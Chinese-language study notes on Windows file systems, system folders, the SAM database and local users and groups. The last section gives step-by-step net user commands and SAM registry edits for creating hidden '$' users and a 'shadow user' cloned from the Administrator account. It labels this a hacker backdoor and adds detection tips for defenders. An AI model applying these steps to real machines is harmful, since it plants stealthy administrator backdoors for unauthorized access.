Windows文件系统、用户和组

1 文件系统

1
2
3
4
5
	定义：操作系统用于明确存储设备（磁盘、固态硬盘等）或分区上的文件的方法和数据结构。
操作系统中负责管理和存储文件信息的软件机构称为文件管理系统，简称文件系统。（组织文件的方法）
一个匪窝----一支军队

	文件系统的功能包括：管理和调度文件的存储空间，提供文件的逻辑结构、物理结构和存储方法;实现文件从标识到实际地址的映射，实现文件的控制操作和存取操作等。

1.1 文件系统介绍

  • 文件属性

1
文件类型、文件长度、文件的物理位置、文件的时间

  • 文件分类

1
2
3
4
按用途分类：系统文件、用户文件、库文件
按数据形式分类：源文件、目标文件、可执行文件
按存储控制属性分类：只执行文件、只读文件、读写文件
按组织和处理分类：普通文件、目录文件、特殊文件

1.2 常见的文件系统

1
2
3
4
5
6
7
8
9
NTFS --- Windows持有
FAT系列
	FAT16 --- 只支持单个2GB以下的文件
	FAT32 --- 只支持单个4GB以下的文件
	EXFAT --- 专门为闪存设备设计 --- U盘 --- 16EB
	
文件系统数据存储单元
	Windows --- 簇 --- 每个簇由多个扇区组成  2 4 8 16 32 64 --- 使用的簇越小，保存信息的效率就越高
	Linux --- 块

1.3 硬盘介绍

1
固态、机械

NTF文件系统

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
	定义：NTFS（New Technology File System），NTFS文件系统是一个基于安全性的文件系统，是Windows NT所采用的独特的文件系统结构。它是建立在保护文件和目录数据基础上，同时照顾节省存储资源、减少磁盘占用量的一种先进的文件系统。提供长文件名、数据保护和恢复，能通过目录和文件许可实现安全性，并支持跨越分区。
	
- 特点
安全性 --- BitLocker
查看网络资源
共享文件夹
磁盘管理


- NTFS的权限特性
权限继承
	对于某一个文件分配权限的时候，在默认情况下，此权限会被完全的传递到文件夹中所有的子文件夹的权限中。如果不希望某一个子文件夹继承父文件夹权限，只需要去除继承复选框。
权限累加
	某一个用户对某一个文件或文件夹的权限是该用户的权限和所属组的权限之和。
拒绝优先
	当某一个用户和组对某一个对象的权限发生冲突的时候，权限是拒绝优先。

2 系统目录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
	ProgramData是位于电脑系统盘（默认C盘）根目录的一个系统文件夹，它是公用的被创建文件夹或文件存放的地方，多为软件缓存，或者修复卸载时候调用的一些文件，以及临时图标，快捷方式，程序设置和程序使用中产生的数据的文件夹，这些文件夹或文件由程序或管理员用户控制。
	建议不要删除，隐藏即可。


Program Files：
    用于存储64位应用程序的安装文件。
    路径通常是"C:\Program Files"。
Program Files (x86)：
    用于存储32位应用程序的安装文件。
    路径通常是“C:\Program Files (x86)"。
思考：
    64位的Windows系统可以运行32位的应用程序吗  --- 可以
    32位的Windows系统可以运行64位的应用程序吗  --- 不可以


	Windows对用户账户的安全管理使用了安全账号管理器（Security Account Manager，简称SAM）的机制
	SAM数据库中包含所有组、账户的信息，包括密码的HASH、账户的SID等
- C:\Windows\System32\config\SAM --- lsass.exe

	在Windows操作系统中，hosts文件是一个系统文件，用于将域名映射到IP地址。
	它允许用户或系统管理员将特定的域名重定向到一个指定的IP地址，而不必通过DNS服务器进行查询。这在本地网络配置、测试或阻止访问某些网站时非常有用。
	C:\Windows\System32\drivers\etc\

3 用户和组

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
·Administrator：管理员账户
- 默认情况下是禁用
·Guest：来宾账户，权限非常小，下载的文件保存不了。
- lusrmgr.msc 本地用户和组

·计算机服务组件相关的系统账号：
system：系统账户（权限非常高）
local services：本地服务账户（权限等于普通用户）
network services：网络服务账户（权限等于普通用户）

·services.msc：打开的窗口就是服务窗口，每一个服务都需要一个账户来管理。


- 用户的权限 --- 默认情况，新创建的用户默认属于Users组
1.用户 ---》 组 ---- 获取权限 ---- 简化权限赋予
2.用户 ---》 赋权限 --- Windows安全策略（secpol.msc）

- 内置特殊组：如everyone --- 任何人
内置组：
	1.Administrators：管理员组
	2.Guests：来宾组
	3.Users：普通用户组
	4.Network Configuration Operators：网络配置组
	5.Remote Desktop Users：远程桌面组

3.1 创建隐藏用户和影子用户

语法 描述
net user 查看用户
net user 用户名 查看用户属性
net user 用户名 密码 /add 创建新用户
net user 用户名 /del 删除用户
net localgroup administrators 查看管理员组成员
net localgroup administrators 用户名 /add 将用户添加到管理员组
net localgroup administrators 用户名 /del 将用户从管理员组中移除
net user 用户名 /active:yes 激活用户
net user 用户名 /active:no 停用用户 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
+ 隐藏用户
- 用户名$ --- 注意！！！
1.创建隐藏用户
net user gjq$ Aa123456 /add
2.导出隐藏用户的注册表用户信息文件
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000003EA 导出为1
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\gjq$ 导出为2
- sam --- （需要权限更改，赋予管理员完全控制的权限）
3.删除隐藏用户
net user gjq$ Aa123456 /del
4.导入隐藏用户的信息文件，先导入1再导入2
5.使用方法：
	黑客 --- 后门用户
	蓝队 --- 认识隐藏用户
远程连接使用：net  localgroup  administrators gjq$ /add
本地登录：本地安全策略 --- 本地策略 --- 安全选项 --- 交互式登录 不显示最后的用户名 已启用

+ 影子用户 --- 做谁的影子？ --- 管理员
1.创建隐藏用户
net user www$ Aa123456 /add
2.导出隐藏用户的注册表用户信息文件
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000003EC 导出为1
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\www$ 导出为2
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4 导出为3
- sam --- （需要权限更改，赋予管理员完全控制的权限）
3.将3的F值覆盖到1的F值
4.删除隐藏用户
net user gjq$ Aa123456 /del
5.导入隐藏用户的信息文件，先导入1再导入2
6.使用方法：
	黑客 --- 后门用户
	蓝队 --- 认识隐藏用户
远程连接使用：net  localgroup  administrators gjq$ /add
- 不需要考虑到权限问题，因为本身就是管理员
本地登录：本地安全策略 --- 本地策略 --- 安全选项 --- 交互式登录 不显示最后的用户名 已启用


排查方法：
1.看lusrmgr.msc 本地用户和组 --- 注册表
2.工具 --- D盾